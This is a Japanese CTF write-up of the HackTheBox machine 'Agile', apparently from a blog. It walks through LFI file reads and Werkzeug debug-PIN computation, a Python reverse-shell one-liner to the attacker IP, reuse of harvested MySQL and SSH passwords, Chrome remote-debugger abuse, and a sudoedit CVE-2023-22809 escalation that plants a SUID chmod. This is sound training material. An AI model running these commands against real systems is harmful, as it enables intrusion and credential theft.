HackTheBox Agile WriteUp

今回は、HackTheBoxのMediumマシン「Agile」のWriteUpです！
名前からはAgile/CICD Workflowしか思い浮かばないですが、どのようなマシンなのでしょうか。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/65708701-77f2-a8fa-067b-ede3ac477d0c.png)
グラフは、よく見るMediumの形をしていますね。
評価も高いので学びが多そうです！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう～。

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Agile

### 侵入
では、まずはいつものようにポートスキャンから行いましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.11.203 -oN nmap.log

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
```
22番と80番を確認しました。
80番を確認したので、実際にアクセスしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/549d11ac-9a41-11b0-5a59-6a665244da54.png)
パスワードを管理するサイトが表示されました。
画面の右上を見ると、```Login```があるので、押下してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/672107ca-90fb-35ed-a7b2-0f92643f37fb.png)
ログイン画面が表示されました。
何回かSQLインジェクションの発火を試みましたが、発火しなかったため、脆弱ではないようです。

ログイン画面をよく見てみると、```Login```のほかに、```Register```という文字があることがわかります。こちらも押下してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9a311254-199b-0243-40d0-7acb5893ef10.png)
新規登録ページが表示されました。
適当にユーザを登録してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/85d38537-7630-eecd-786e-215dca6e3700.png)
ホーム画面が表示されました。```Add a password```というボタンがあるので、passwordを追加することが出来そうです。実際に追加してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2ad605f1-dd19-c6c6-cab0-ceb5d45a13ce.png)
ボタンを押下すると、```site```と```Username```を入力できるようになるので、```test```と入力しておきます。パスワードは自動で入力されるので、この状態で一番左の保存のマークを押下します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/62aeb948-7347-446f-bbbf-df5e63935cb0.png)
パスワードが保存されました。
追加の流れは確認できたので、次は横にある```Export```を見てみたいと思います。ボタンを押下しましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1b857c58-f53e-9334-ea88-9b0617d48f90.png)
CSVファイルがダウンロードされ、ファイル内に先ほど作成した認証情報が記述されています。
ここまでがパスワード管理サイトの一連の流れのようです。

### Local File Inclusion（LFI）

一通り確認しましたが、サイトを見ているだけでは特に悪用できそうな点は見つかりません。こういう時は探索を行い、新たなディレクトリやサブドメインを見つけます。
まずは、ディレクトリ探索を行います。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://superpass.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/08/04 09:37:03 Starting gobuster in directory enumeration mode
===============================================================
http://superpass.htb/download             (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
http://superpass.htb/static               (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
http://superpass.htb/vault                (Status: 302) [Size: 243] [--> /account/login?next=%2Fvault]
Progress: 20465 / 20477 (99.94%)
===============================================================
2023/08/04 09:43:03 Finished
===============================================================
```
```download```というディレクトリを発見しました！
実際にアクセスしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/111517a8-b678-bd4a-e8df-f1bf538b18a7.png)
エラーが出力されました。```/tmp/None```というファイルが見つからないようです。
Tracebackには、エラーの詳細が書かれています。確認してみると、一番下のエラーが気になりました。
```bash
File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:
```
このエラーでは、```/tmp```ディレクトリ内にある```fn```で指定されたファイルを開こうとしていることが分かります。
今回のリクエストでは```download```にアクセスしただけで、```fn```の指定は行っていません。このことから、もしかすると```fn```を指定しなかったことで```None```というファイルが選択されたのではないかと想定することができます。
この想定を確実にするために、```download?fn=test```のようにパラメータを追加し、再度リクエストを送信します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a1924984-5577-fa86-f312-d3d2f91aa607.png)
次は、```/tmp/test```が見つからないというエラーが表示されました！
これにより、ファイルをこちら側で指定することが可能であると分かりました。ファイルを指定できるといえば真っ先に「**LFI**」が浮かび上がります。
ディレクトリは```/tmp```だと分かっているので、LFIに脆弱な場合、```../etc/passwd```でファイルを取得することが出来そうです。リクエストを送信してみましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/passwd
root:x:0:0:root:/root:/bin/bash
corum:x:1000:1000:corum:/home/corum:/bin/bash
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
```
passwdファイルが出力されました！ホームディレクトリを持つユーザ以外は省略していますが、今回は3人も確認できているので、横移動が多いかもしれませんね。

では、LFIに脆弱であることがわかったので、他のファイルを確認していきます。どのようなファイルを出力させていくかです。ここで思い出してほしいのは、先ほどのエラー文です。
```bash
File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:
```
パラメータの存在を教えてくれたこのエラー文ですが、パラメータだけでなく```vault_views.py```というファイルの存在も確認することができます。
では、このファイルの内容を見てみましょう。量がそこそこ多いので記事では重要な部分のみを書き出します。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../app/app/superpass/views/vault_views.py

import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}
```
コードを見ることで、```/vault/row/<id>```にリクエストが行われた際、パスで指定されたidと現在のユーザのidが一致した場合にパスワードが出力されることがわかりました。現在のidを他のユーザのidで指定することができれば、他のユーザのパスワードを取得することが出来そうです。

:::note alert
注意
リリースから一週間後に、この脆弱性は修正されてしまいました。
修正前は、```id```を変更することでcorumユーザのパスワードを取得可能でした。
:::

### Flask Debug Execution

すでにWebにアクセスしていると気付くかもしれませんが、このアプリケーションではFlaskが実行されています。また、エラーの出力からデバッグモードで実行されていることもわかります。
再度、エラーの詳細を確認してみると、カーソルを置いた行にコンソールのアイコンが表示されることが分かります。適当に押下してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5221d4ae-ac7a-227c-6b4b-f837dbff922d.png)
PINを入力するポップアップが表示されました。適切なPINを入力し、コンソールへ移ることができればシェルを取得することが出来そうです。
まず、Flaskがどのような処理でPINを生成するのか調べてみます。とりあえず、私の好きなHackTricksで```Flask PIN```と調べると、有用な記事を発見しました。

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug

記事にはPINの生成に必要な情報が挙げられています。改めて確認しておきます。
```bash
probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]
```
それぞれの情報を一つずつ求めていきましょう。
まずは、```username```です。こちらは```environ```ファイルに対してLFIを使用し、求めることが可能です。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/environ --output environ
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   260  100   260    0     0    780      0 --:--:-- --:--:-- --:--:--   783
```
outputを指定する必要があります。curlがうまく実行出来たら、内容を確認しましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$  cat environ 
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=a319c6b59e8f46f1b65c77e874545cb1JOURNAL_STREAM=8:32951SYSTEMD_EXEC_PID=1093CONFIG_PATH=/app/config_prod.json         
```
usernameは```www-data```であることが分かりました。
では、次に```modname```と```getattr(app, '__name__', getattr(app.__class__, '__name__'))```ですが、こちらは```flask.app```と```Flask```だと決まっているようです。
では、4番目の```getattr(mod, '__file__', None)```ですが、flaskディレクトリ内の絶対パスを指定するようです。
こちらはエラー画面に表示されている```app.py```へのフルパスを指定します。
再度情報を整理しておきましょう。
```bash
probably_public_bits = [
    'www-data',
    'flask.app',
    'Flask',
    '/app/venv/lib/python3.10/site-packages/flask/app.py',
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]
```
ここまでで```probably_public_bits```の情報は求めることができました。
この調子で```private_bits```の情報も求めていきましょう。

まず最初の```str(uuid.getnode())```です。ここにはMACアドレスの10進数を指定する必要があるようです。```/sys/class/net/<Interface>/address```から求めることが可能なので、curlでリクエストを送ってみましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../sys/class/net/eth0/address 
00:50:56:b9:84:6f
```
MACアドレスが出力されました！
10進数を計算します。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -c 'print(0x005056b9846f)'
345052382319
```
10進数が計算できました！
それでは、最後に```get_machine_id()```を求めていきます。これは関数そのままですが、ターゲットのマシンIDを指定します。```/etc/machine-id```から求めることが可能です。curlを実行しましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/machine-id
ed5b159560f54721827644bc9b220d00
```
マシンIDも取得することが出来ました。しかし、これだけでは機能しません。HackTricksにも書いてありますが```/proc/self/cgroup```の最後の```/```以降の値が必要です。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/cgroup
0::/system.slice/superpass.service
```
最後の```/```以降の値、つまり```superpass.service```を先ほどのマシンIDと連結させることで機能します。
これですべての情報が揃ったので、HackTricksの一番下にあるスクリプトを参考にし、必要な箇所を書き換えていきます。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py
~~~
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052382319', # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~
```
スクリプトが用意できたので、実際にPINを生成しましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py                                      
225-435-098
```
PINが生成できました。では、コンソールにアクセスできるか試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9fba818d-c82f-190e-298b-9f123ee6f84a.png)
PINが通りませんでした。。。
どこか間違えていないか何度も確認しましたが、特に間違えている部分はないように見えます。

ここで私は一度Agileの攻略から離れ、かなりの時間が経ちました。
分からない状態が続いていたのですが、惜しいところまで攻略できていそうだという認識から攻略を再開しました。

では、何を試すのかですが、私はデフォルトで指定されていた部分に違いがあるのではないかと予想し、```probably_public_bits```で指定した2番目の値と3番目の値を可能性があるものに変更し続けました。
正直、気が遠くなるような作業でしたが、この行動が次にステップに繋がりました。
私はエラー文に```line <number> in wsgi_app```という出力があることを確認し、3番目の値を```wsgi_app```へ変更しました。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py          
~~~
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052382319', # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~
```
変更後、PINを生成します。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py                                      
126-024-737
```
生成できたので、PINを入力し、コンソールへアクセスできるか試してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3d031435-cdfb-56bb-74d0-b09f0ec259c7.png)
写真では分かりにくいかもしれませんが、```console ready```という表示がされており、アクセスできたことが分かります！！この瞬間はかなり嬉しかったです。

それでは、コマンドを実行していきましょう！
まずは、試しに```id```コマンドを実行してみます。
```bash
[console ready]
>>> os.popen('id').read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
```
idコマンドの実行がうまくいきました！

## www-dataとしてのシェル

それでは、本命のリバースシェルを取得してきたいと思います。
実行前に、Kali側で待ち受けておきます。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
```
待ち受けが完了したので、コマンドを実行します。
今回は、FlaskなのでPythonのリバースシェルコマンドを実行させます。
```bash
>>> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",2121));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
```
待ち受け側を確認してみましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.203] 48874
$ whoami
www-data
```
侵入に成功しました！！普通に泣きそうでした。
流石に見にくいので、シェルのアップグレードは忘れずに行っておきましょう。
```bash
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$
```

### 横移動

正直侵入だけでもかなりの体力を消耗しましたが、続けて横移動、権限昇格も頑張ります。
まずは、改めてユーザの存在を確認します。
```bash
(venv) www-data@agile:/app/app$ ls -l /home
total 12
drwxr-x--- 8 corum     corum     4096 Feb  8 16:29 corum
drwxr-x--- 2 dev_admin dev_admin 4096 Feb  8 16:29 dev_admin
drwxr-x--- 5 edwards   edwards   4096 Feb  8 16:29 edwards
```
先ほどLFIで確認したユーザと同じユーザが存在しています。
とりあえず、それぞれのユーザが保有するファイルを見てみましょう。
まずは、```dev_admin```からです。
```bash
(venv) www-data@agile:/app$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
```
まだ、一人目ではありますが、この出力には気になる点があります。
それは、```/app```配下に所有するファイルがあることです。もしかすると、www-dataユーザにも権限があるかもしれません。それぞれのファイルの権限を見てみると、```config_prod.json```に権限があることが分かりました。
```bash
(venv) www-data@agile:/app$ ls -l
total 24
drwxr-xr-x 5 corum     runner    4096 Feb  8 16:29 app
drwxr-xr-x 9 runner    runner    4096 Feb  8 16:36 app-testing
-r--r----- 1 dev_admin www-data    88 Jan 25  2023 config_prod.json
-r--r----- 1 dev_admin runner      99 Jan 25  2023 config_test.json
-rwxr-xr-x 1 root      runner     557 Aug  6 08:27 test_and_update.sh
drwxrwxr-x 5 root      dev_admin 4096 Feb  8 16:29 venv
```
設定ファイルのようです。認証情報がないか見てみましょう。
```
(venv) www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
```
mysqlの認証情報を発見しました！

### mysql

それでは、実際にアクセスしてみましょう。
```bash
(venv) www-data@agile:/app$ mysql -u superpassuser -p
Enter password: dSA6l7q*yIVs$39Ml6ywvgK

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```
アクセスに成功しました！
ここからはいつものように列挙を進めていきます。まずはDBを確認しましょう。
```bash
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)
```
superpassというデータベースが存在しています。
DBを選択しましょう。
```bash
mysql> use superpass
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```
データベースの選択ができたので、テーブルを確認します。
```bash
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.01 sec)
```
かなり気になる2つのテーブルが表示されました！```passwords```テーブルを見てみましょう。
```bash
mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
```
複数の認証情報が出力されました！
一番気になるのは、urlがagileとなっているcorumユーザの認証情報です。SSH接続で使用できるか試してみましょう。
## corumとしてのシェル
それでは、取得した認証情報を使用し、SSH接続を行いましょう。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203          
corum@10.10.11.203s password: 
corum@agile:~$ whoami
corum
```
横移動に成功しました！
```bash
corum@agile:~$ ls -l
total 4
-rw-r----- 1 root corum 33 Aug  4 01:48 user.txt
```
フラグは、corumユーザで取得することができました！

### 横移動

先ほども確認しましたが、今回は3人のユーザが存在するため確定でまだ横移動が必要だと思います。
ちなみに、```sudo -l```を実行することはできませんでした。
```bash
corum@agile:/home$ sudo -l
[sudo] password for corum: 
Sorry, user corum may not run sudo on agile.
```
では、それぞれのユーザが保有するファイルを検索するところから始めてみましょう。
まずは、```dev_admin```です。
```bash
corum@agile:/home$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
```
次に、```edwards```です。
```bash
corum@agile:/home$ find / -user edwards 2>/dev/null
/home/edwards
```
それぞれ調べてみましたが、全て読み込み権限がありませんでした。
では、次に何を調べるかですが、実行されているサービスを確認することにしました。
netstatを実行してみましょう。
```bash
corum@agile:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:57103         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:57103               :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -         
```
新たに、多くのポートを確認できました。MySQLにアクセスできるかと思い、認証を試しましたが、アクセスすることはできなかったので、```41829```という珍しいポートに目を向けてみます。
詳細を確認するため、```ps faux```を実行してみましょう。
```bash
corum@agile:~$ ps faux | grep 41829
runner      1805  0.7  2.6 34023456 104128 ?     Sl   02:10   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.Dm0AnU --window-size=1420,1080 data:,
runner      1869  2.5  3.9 1184764352 158988 ?   Sl   02:10   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1812 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1691113657820345 --launch-time-ticks=1344602116 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,12316113268408036803,4134764861594454744,131072 --disable-features=PaintHolding
corum       1883  0.0  0.0   4020  1996 pts/0    S+   02:10   0:00              \_ grep --color=auto 41829
```
どうやらGoogle Chromeのリモートデバッグを行うプロセスのようです。
Exploit Notesで、情報を調べてみると、かなり有用な記事を見つけました。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/

Exploit Notesによると、SSHでポートフォワーディングを行い、```network target```にポートを登録することでターゲット上のブラウザを見ることができるようです。
では、手順に沿って実行してみます。まずはSSHポートフォワーディングを行います。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829
```
これで、ポートフォワーディングは完了です。
次に、```network target```にポートを登録していきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c7f6e89b-fb77-71cc-ab5f-da309ad7cb64.png)
Doneを押下すると、ポートの登録が完了します。
ポートを登録することができたら、```Target```欄の```inspect```を押下しましょう。ターゲットのブラウザが見えるはずです！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2dc03a56-e174-19e9-a18a-69c0298dbd7e.png)
このブラウザはこちらから操作することが可能です。そしてよく見ると、右上に```Logout```が表示されており、現在ログインしている状況であることが分かります。。
つまり、```Vault```にアクセスすることで、既に登録されているパスワードを見ることが出来そうです！押下してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/66d5217f-a1a0-eab2-7f6f-e763c2538dba.png)
edwardsユーザのパスワードを発見しました！

## edwardsとしてのシェル

では、取得したパスワードを使用しSSH接続を行いましょう！
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh edwards@10.10.11.203
edwards@10.10.11.203s password: 
edwards@agile:~$ whoami
edwards
```
横移動成功です！

### 権限昇格

ネタバレとなってしまいますが、dev_adminユーザのシェルは取得する必要はありませんでした。
いよいよラストステージです。頑張っていきましょう！
まずは、```sudo -l```を実行します。
```bash
edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
```
sudoeditをdev_adminの権限で実行できるようです。dev_adminの権限ですが、権限昇格に繋がりそうな匂いがかなりします。なので、sudoeditの脆弱性を探してみました。するとこちらもExploit Notesに有用な情報がありました。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/

バージョンにもよりますが、どうやら、```EDITOR```という環境変数にvimとファイル名を指定することで書き込むことが可能になるようです。Exploit Notesでは、```/etc/sudoers```を指定されていますが、今回のsudo権限は、dev_adminのものなので、```/etc/sudoers```を指定することはできません。
では、どのようなファイルであればいいのかというと、「dev_adminが書き込み権限を持ち、rootにより実行されているファイル」です。

### CVE-2023-22809

そのようなファイルが果たしてあるのでしょうか？と思ってしまいますが、```pspy64```を使用し、探してみましょう。
ターゲットに```pspy64```を送るために、サーバを立ち上げます。
```bash
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -m http.server 80              
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
立ち上げに完了したので、ターゲット側で```wget```を実行します。
```bash
edwards@agile:~$ wget 10.10.14.5/pspy64
--2023-08-04 04:11:59--  http://10.10.14.5/pspy64
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                        100%[==============================================>]   2.96M   762KB/s    in 4.0s    

2023-08-04 04:12:04 (762 KB/s) - ‘pspy64’ saved [3104768/3104768]
```
ダウンロードさせることができたら、実行権限を付与します。
```bash
edwards@agile:~$ chmod +x pspy64
```
これで準備は完了です！```pspy64```を実行しましょう。
```bash
edwards@agile:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

2023/08/04 04:17:01 CMD: UID=0     PID=5545   | /usr/sbin/CRON -f -P 
2023/08/04 04:17:01 CMD: UID=0     PID=5544   | /bin/bash -c source /app/venv/bin/activate 
```
定期的に実行されているタスクとして、root権限で```activate```が実行されています！
では、書き込み権限があるか見てみましょう。
```bash
edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug  4 04:21 /app/venv/bin/activate
```
書き込み権限があります！
このファイルを環境変数として指定することで、権限昇格が行えそうです！
まずは、環境変数を設定します。
```bash
edwards@agile:~$ export EDITOR="vim -- /app/venv/bin/activate"
```
設定ができたら、```sudo sudoedit```を実行します。
```bash
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
```
実行すると、vimが立ち上がり、ファイルの編集が可能になります。
```bash
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi
```
状況を説明すると、先ほど指定した```activate```という名前のスクリプトをvimで開いています。本来、sudoeditで```config_test.json```を指定しましたが、```EDITOR```という環境変数に書き込むことで、コマンドとして実行されました。
ここまでくれば、やりたい放題です。今回は```/bin/bash```にSUIDを付与することで、権限昇格を行いたいと思います。SUIDを付与するコマンドをコメントの下に追加します。
```bash
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

chmod u+s /bin/bash # add command

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
